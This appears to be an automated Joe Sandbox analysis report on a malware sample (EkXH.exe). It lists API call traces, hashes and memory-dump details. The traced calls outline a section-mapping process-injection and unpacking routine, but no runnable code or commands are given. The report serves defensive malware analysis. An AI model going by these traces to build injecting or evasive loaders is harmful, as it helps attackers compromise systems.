Source File: 00000001.00000002.390815222.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: @#$d$@#$d$L4#p$L4#p$L4#p
API String ID: 0-3622070961
Opcode ID: f58f7d12ca302e91d0bc1a6e76ce35f920afd8846a1d2fdda5560c1892851d22
Instruction ID: 7b583189b8004f4f1228f08a371533a600dcdd6556af1574ae0c516dffd9abf1
Opcode Fuzzy Hash: f58f7d12ca302e91d0bc1a6e76ce35f920afd8846a1d2fdda5560c1892851d22
Instruction Fuzzy Hash: 45512739B002459FDB558E25C400BBFB7A6AF86310F24806EEA059B3A3DF79DD81C756

Function 004C083E Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

@#$d, xrefs: 004C0880
L4#p, xrefs: 004C0908
L4#p, xrefs: 004C0966
L4#p, xrefs: 004C0971

Memory Dump Source

Source File: 00000001.00000002.390815222.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: @#$d$L4#p$L4#p$L4#p
API String ID: 0-219050221
Opcode ID: 7a9c1f5096db5820ea701f0c2337c60bdb3aa24c0b4afb6a66dac2f9d781e80c
Instruction ID: 217e053847ab7486c296e908762f402550e113732f9fb9b9b94e93cfae19d77a
Opcode Fuzzy Hash: 7a9c1f5096db5820ea701f0c2337c60bdb3aa24c0b4afb6a66dac2f9d781e80c
Instruction Fuzzy Hash: A841D279A00348EFEF659E14C440FBF7BA5AF44310F18806AE9046B392C779DD85CBA6

Analysis Process: EkXH.exePID: 3824, Parent PID: 3612COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	18.2%
Signature Coverage:	48.8%
Total number of Nodes:	170
Total number of Limit Nodes:	6

Executed Functions

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418B8B
GetFocus.USER32 ref: 00418B91
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00418B9E
FindAtomA.KERNEL32(00000000), ref: 00418BA5
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BBD
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00418BC5
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BDD
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00418C04
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C10
CreatePipe.KERNEL32(?,00000000,00000000,00000000), ref: 00418C26
GetEnvironmentStringsW.KERNEL32 ref: 00418C2C
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00418C71
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00418C80
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00418C89
ObjectPrivilegeAuditAlarmW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C9E
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00418CAF
SetCommState.KERNEL32(00000000,00000000), ref: 00418CD8
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00418D09
GetComputerNameA.KERNEL32(?,?), ref: 00418D1D
CopyFileW.KERNEL32(0041A3AC,0041A380,00000000), ref: 00418D2E
GetFileAttributesA.KERNEL32(00000000), ref: 00418D35
GetConsoleAliasExesLengthW.KERNEL32 ref: 00418D3B
GetBinaryType.KERNEL32(0041A3C8,?), ref: 00418D4D
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00418D60
GetLongPathNameA.KERNEL32(0041A3E4,?,00000000), ref: 00418D73
PurgeComm.KERNEL32(00000000,00000000), ref: 00418D7B
LoadLibraryA.KERNEL32(0041A3EC), ref: 00418DF2
MoveFileW.KERNEL32(00000000,00000000), ref: 00418E27
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418E4E

Strings

k`, xrefs: 00418E2D
}$, xrefs: 00418E55

Memory Dump Source

Source File: 00000004.00000002.406611305.000000000040B000.00000020.00000001.01000000.0000000B.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40b000_EkXH.jbxd

Similarity

API ID: ConsoleFile$CommNamePath$CompareCopyExchangeInterlockedLengthObjectSearch$AdjustmentAlarmAliasAliasesAtomAttributesAuditBinaryComputerConfigCreateDefaultEnvironmentExesFindFocusFormatLibraryLoadLongMessageModeModuleMoveOutputPipePrivilegePurgeReadSingleStateStringsSystemTimeTypeWaitWrite
String ID: k`$}$
API String ID: 2220722107-956986773
Opcode ID: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction ID: 0c0e40555d578e92a9f225f047ccd42c64e3c90cdaccad76b264c498dc6ec0a1
Opcode Fuzzy Hash: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction Fuzzy Hash: 9FB1A0B1901224ABCB219B65EC58EDF7B78EF49350F00816EF649A3150DB785EC4CFA9

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634

Strings

1, xrefs: 004014F1

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 1
API String ID: 1652636561-2212294583
Opcode ID: fc9ad0c17474763d406ce3553705aad449b4f49c1046925f20dec018cbeb3551
Instruction ID: 7f4d7c4657737381e02ab4131f106e217a3bc84f51a1891dc43a423f49ad99c1
Opcode Fuzzy Hash: fc9ad0c17474763d406ce3553705aad449b4f49c1046925f20dec018cbeb3551
Instruction Fuzzy Hash: 14718D71A00205FFEB209F91CC49FEF7BB8EF85B10F14412AF912BA2E5D6759905CA58

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction ID: 138ec7ca1e8744eb65f40bd9736a53a73cefe8eecd72c79945fcbf62a21b6401
Opcode Fuzzy Hash: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction Fuzzy Hash: D9616E71900205FBEB209F95DC49FEB7BB8FF81B00F14412AFA12BA1E4D6749A05DB65

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction ID: 46ca3ae5353e1b2bf85c7e7487c0bf4a09c0837efea8bedcf4105f5ea6450319
Opcode Fuzzy Hash: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction Fuzzy Hash: 81512971900245BFEF209F91CC48FEB7BB8EF85B00F14416AF912BA1A5D6749945CB24

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction ID: 68c08b8250816e380b35483fe5a52fcf5a4ffa7bf922b91d474b11e8be87ed95
Opcode Fuzzy Hash: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction Fuzzy Hash: 99512AB1900205BFEF209F95CC48FEB7BB8EF85B10F14412AFA12BA1E5D6749945CB24

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction ID: b5c9534ba5f5358dff2a074a80b826bd55324152c05987841a878028393b6fdb
Opcode Fuzzy Hash: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction Fuzzy Hash: 94513AB1900245BFEF209F95CC48FEF7BB8EF85B00F14415AF911BA2A5D6749945CB24

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction ID: 8d6641cc39e0a23de402a6cd7af9a8bcce9404ceaedab19c941a5a8b34b5f284
Opcode Fuzzy Hash: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction Fuzzy Hash: 8C5119B1900205BFEF209F95CC48FEFBBB8EF85B00F14411AFA11AA2A5D6759945CB24

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403122
NtTerminateProcess.NTDLL ref: 00403133

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction ID: 67905ead67b615cb9fd2ac39997d468ff33d28dd355ca5d175fe45067cf906e9
Opcode Fuzzy Hash: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction Fuzzy Hash: 8B414732618E0C4FD778EE6CA88966377D5E798351B1643AAD809D3389EE30D85183C5

Function 0066C317 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0066C33F
Module32First.KERNEL32(00000000,00000224), ref: 0066C35F

Memory Dump Source

Source File: 00000004.00000002.406664461.0000000000669000.00000040.00000020.00020000.00000000.sdmp, Offset: 00669000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_669000_EkXH.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2cb38bb6a14e0c1d3f4973b88589ddcfe3bafa9d68796fc93675a30b9cd6ae98
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E0F06231100B11ABD7202AB5A88DABA76E9AF49734F144528E686A56C0DB70EC454A61

Function 0022003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0022024D

Strings

kernel32.dll, xrefs: 0022008F, 00220095
cess, xrefs: 0022018D

Memory Dump Source

Source File: 00000004.00000002.406577078.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Offset: 00220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_220000_EkXH.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 63008dc5455b26ae5173438af7152297074d919cf4c282978a0906f11fd1f4e8
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 07526B74A11229DFDB64CF98D984BA8BBB1BF09304F1480D9E50DAB352DB30AE95DF14

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00513D70), ref: 0041884F
GetProcAddress.KERNEL32(00000000,0041E298), ref: 0041888C
VirtualProtect.KERNELBASE(00513BB4,00513D6C,00000040,?), ref: 004188AB

Strings

, xrefs: 004187B5

Memory Dump Source

Source File: 00000004.00000002.406611305.000000000040B000.00000020.00000001.01000000.0000000B.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40b000_EkXH.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction ID: 2b977b853b8716191c274d39b2deee1532fc6552ce3022b0d9a41b083186e0cb
Opcode Fuzzy Hash: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction Fuzzy Hash: D8316F18508780CAE301DB79FC257823F6AAB75744F04D0ACD54C8B3B1D7BA5618E36E

Function 00220E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00220223,?,?), ref: 00220E19
SetErrorMode.KERNELBASE(00000000,?,?,00220223,?,?), ref: 00220E1E

Memory Dump Source

Source File: 00000004.00000002.406577078.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Offset: 00220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_220000_EkXH.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f23233c31a1da53253dfcacb42dea6b2ddc5ffc9e64891eed547aff6082d6eb8
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 1DD0123114512877D7002ED4DC09BCD7B1CDF09B62F008411FB0DD9081C7B0994046E5

Function 0040190E Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction ID: c3efed824753038ef125f202698f45fd900918c8f6410fb3a7b527937a7c5fc5
Opcode Fuzzy Hash: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction Fuzzy Hash: D811BFB220C204EBEB00AA908C52EAA3754AF05710F248137BA42791F1C57D9A13F75B

Function 0066BFD6 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0066C027

Memory Dump Source

Source File: 00000004.00000002.406664461.0000000000669000.00000040.00000020.00020000.00000000.sdmp, Offset: 00669000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_669000_EkXH.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: cc01a80ffbd586d49ee8cb0a6462934bc7dd11d7276ed7015fb97a4fe5d4048c
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: C2113F79A00208EFDB01DF98C985E98BBF5AF08750F058095F9889B361D371EA50DF84

Function 00401902 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction ID: 207861a3759c1b147de2553678edefd9187cc257709d93c52e233f88d5e7a3be
Opcode Fuzzy Hash: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction Fuzzy Hash: B70169F1208209FBEB009A908D61EBA3668AB05760F700133BA13781F5D57C9A53E76B

Function 00401922 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction ID: 578df434b3d236032839297bc76fd9486bb072801922ad90ba2380d7086ecf03
Opcode Fuzzy Hash: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction Fuzzy Hash: 95F05EB1208209FBEF009F908D61EAA3729AF05710F644137BA52781F5D63CDA53EB1B

Function 0040192B Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction ID: b5d34a972f1ec939c421f577379ccf4d396b21f1793fd223155277739043cea6
Opcode Fuzzy Hash: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction Fuzzy Hash: 5AF05EB1218209FBEB009F908D61EBA3629AF05310F644177BA12781F5C63DDA23E75B

Function 0040193C Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction ID: c277f467d3f9426b8f9a73765fdcab00a649fd51b95b24d53f0d4f33e3e8ae71
Opcode Fuzzy Hash: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction Fuzzy Hash: F7F037B1108209FBDF009F94CD51EAA3729AF09310F644577BA12781F5C63DDA12E72B

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000004.00000002.406605489.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_EkXH.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction ID: 30c85490bd3e36b3d7497cee73256dee3cb4488b2b17691bada95d8d1bd3f612
Opcode Fuzzy Hash: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction Fuzzy Hash: 33F037B1204205FBDF009F94CD91EAE3629AF05310F644173BA12791F5D67DDA12E75B

Function 00418740 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00513D6C,00418DAF), ref: 00418748

Memory Dump Source

Source File: 00000004.00000002.406611305.000000000040B000.00000020.00000001.01000000.0000000B.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40b000_EkXH.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction ID: 68696ac1b9cb92420161d977e59fd9b705cf74f057d8962c0b4e3d7dbc73b596
Opcode Fuzzy Hash: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction Fuzzy Hash: FDB012F0A492009FD700CF54FC64BD03B74F358302F00C061F500C2164EB304908EB10

Non-executed Functions

Function 0022092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 00220966
GetProcAddress., xrefs: 002209DC, 002209DF, 002209E4
., xrefs: 0022095F

Memory Dump Source

Source File: 00000004.00000002.406577078.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Offset: 00220000, based on PE: false

